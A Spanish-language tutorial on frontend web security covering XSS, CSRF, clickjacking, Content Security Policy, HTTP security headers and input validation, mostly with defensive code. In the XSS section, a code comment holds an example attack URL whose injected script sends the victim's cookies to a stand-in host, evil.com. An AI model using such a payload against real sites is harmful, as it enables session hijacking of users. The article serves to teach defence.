La seguridad empieza en el frontend

Muchos desarrolladores frontend piensan que la seguridad es responsabilidad exclusiva del backend. Esto es un error grave. El frontend es la primera linea de defensa y la superficie de ataque más expuesta de tu aplicación.

En este articulo cubriremos las vulnerabilidades más críticas que afectan al frontend y como prevenirlas con código concreto.

XSS: Cross-Site Scripting

XSS es la vulnerabilidad más comun en aplicaciones web. Ocurre cuando un atacante inyecta scripts maliciosos que se ejecutan en el navegador de otros usuarios.

Tipos de XSS

Tipo Descripcion Persistencia
Reflected El script viene en la URL o parametros No persistente
Stored El script se guarda en la base de datos Persistente
DOM-based El script manipula el DOM directamente No persistente

Ejemplo de vulnerabilidad

// VULNERABLE: insertar input del usuario directamente en el DOM
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${searchQuery}`;

// Un atacante puede enviar:
// https://tusitio.com/buscar?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Prevencion en JavaScript vanilla

La regla de oro: nunca uses innerHTML con datos del usuario. Usa textContent para texto plano.

// SEGURO: usar textContent
const searchQuery = new URLSearchParams(window.location.search).get('q') ?? '';
const resultsEl = document.getElementById('results');
if (resultsEl) {
  resultsEl.textContent = `Resultados para: ${searchQuery}`;
}

Prevencion en Angular

Angular sanitiza automaticamente las interpolaciones en templates. Sin embargo, hay puntos de riesgo:

// Angular sanitiza esto automaticamente
// template: `<p>{{ userInput() }}</p>`

// PELIGROSO: bypass de sanitizacion
// Solo usa bypassSecurityTrustHtml cuando confias 100% en el origen
// Ejemplo: contenido de Markdown procesado internamente

CSRF: Cross-Site Request Forgery

CSRF engana al navegador para que envie peticiones autenticadas a sitios donde el usuario tiene sesión activa.

Cómo funciona el ataque

  1. El usuario inicia sesión en tu aplicación (tiene cookie de sesión)
  2. El usuario visita un sitio malicioso
  3. El sitio malicioso hace una petición a tu API usando la cookie del usuario
  4. Tu API procesa la petición como si fuera legitima

Prevencion con tokens CSRF

// Middleware Express para generar y validar tokens CSRF
import crypto from 'crypto';

interface CsrfSession {
  csrfToken?: string;
}

function generateCsrfToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

// Middleware: agregar token a la sesión
function csrfProtection(
  req: { session: CsrfSession; method: string; headers: Record<string, string | undefined> },
  res: { status: (code: number) => { json: (body: Record<string, string>) => void } },
  next: () => void
): void {
  if (req.method === 'GET') {
    req.session.csrfToken = generateCsrfToken();
    next();
    return;
  }

  const token = req.headers['x-csrf-token'];
  if (!token || token !== req.session.csrfToken) {
    res.status(403).json({ error: 'Token CSRF invalido' });
    return;
  }

  next();
}

En el frontend

// Enviar el token CSRF en cada petición
async function secureFetch(url: string, options: RequestInit = {}): Promise<Response> {
  const csrfToken = document.querySelector<HTMLMetaElement>(
    'meta[name="csrf-token"]'
  )?.content;

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken ?? ''
    },
    credentials: 'same-origin'
  });
}

Clickjacking

El clickjacking oculta tu sitio dentro de un iframe en un sitio malicioso, enganando al usuario para que haga clicks sin saberlo.

Prevencion

// Header HTTP (configurar en el servidor)
// X-Frame-Options: DENY

// O con CSP (más moderno):
// Content-Security-Policy: frame-ancestors 'none'

// Defensa JavaScript adicional (framebusting)
if (window.self !== window.top) {
  // Estamos dentro de un iframe
  window.top.location = window.self.location;
}

Content Security Policy (CSP)

CSP es el mecanismo de defensa más poderoso contra XSS. Define exactamente que recursos puede cargar tu página.

Directivas esenciales

Directiva Controla Recomendacion
default-src Fallback para todas 'self'
script-src JavaScript 'self' (nunca 'unsafe-eval')
style-src CSS 'self' + hash o nonce
img-src Imagenes 'self' + dominios de confianza
connect-src fetch/XHR 'self' + tu API
frame-ancestors Quien puede embeberte 'none'

Implementación gradual

No actives CSP de golpe en producción. Usa el modo Content-Security-Policy-Report-Only primero para detectar violaciones sin romper la aplicación.

Headers de seguridad esenciales

Todo frontend moderno debe servirse con estos headers HTTP:

# Prevenir sniffing de MIME types
X-Content-Type-Options: nosniff

# Prevenir clickjacking
X-Frame-Options: DENY

# Forzar HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Controlar que información se envia en el Referer
Referrer-Policy: strict-origin-when-cross-origin

# Controlar APIs del navegador
Permissions-Policy: camera=(), microphone=(), geolocation=()

Seguridad en el almacenamiento del navegador

localStorage vs cookies

// NUNCA guardes tokens sensibles en localStorage
// localStorage es accesible por cualquier script (vulnerable a XSS)

// Para tokens de autenticación, usa cookies HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict

// Si necesitas almacenar datos no sensibles en localStorage:
function safeStore(key: string, value: string): void {
  try {
    localStorage.setItem(key, value);
  } catch {
    // QuotaExceededError o acceso denegado (modo privado)
    console.warn('No se pudo guardar en localStorage');
  }
}

Validación de input en el frontend

La validación en el frontend es para UX, no para seguridad. Siempre válida también en el backend. Pero una buena validación frontend reduce la superficie de ataque:

// Validaciones comunes
const validators = {
  email: (value: string): boolean =>
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value),

  noHtml: (value: string): boolean =>
    !/<[^>]*>/g.test(value),

  maxLength: (value: string, max: number): boolean =>
    value.length <= max,

  alphanumeric: (value: string): boolean =>
    /^[a-zA-Z0-9\s]+$/.test(value),

  url: (value: string): boolean => {
    try {
      const url = new URL(value);
      return ['http:', 'https:'].includes(url.protocol);
    } catch {
      return false;
    }
  }
};

Checklist de seguridad frontend

Antes de cada deploy, verifica:

  • CSP headers configurados y probados
  • Todos los inputs sanitizados y validados
  • No hay innerHTML con datos del usuario
  • Tokens en cookies HttpOnly, no en localStorage
  • HTTPS forzado con HSTS
  • Dependencias actualizadas (npm audit)
  • Headers de seguridad HTTP configurados
  • No hay secretos o API keys en el código frontend
  • CORS configurado restrictivamente
  • X-Frame-Options o frame-ancestors configurado

Conclusion

La seguridad frontend no es opcional. Cada vulnerabilidad XSS, CSRF o clickjacking puede comprometer a todos tus usuarios. Las defensas que hemos cubierto son el mínimo necesario para cualquier aplicación web moderna.

Implementa estas protecciones desde el inicio del proyecto, no como un pensamiento posterior. La seguridad es mucho más barata cuando se disena desde el principio.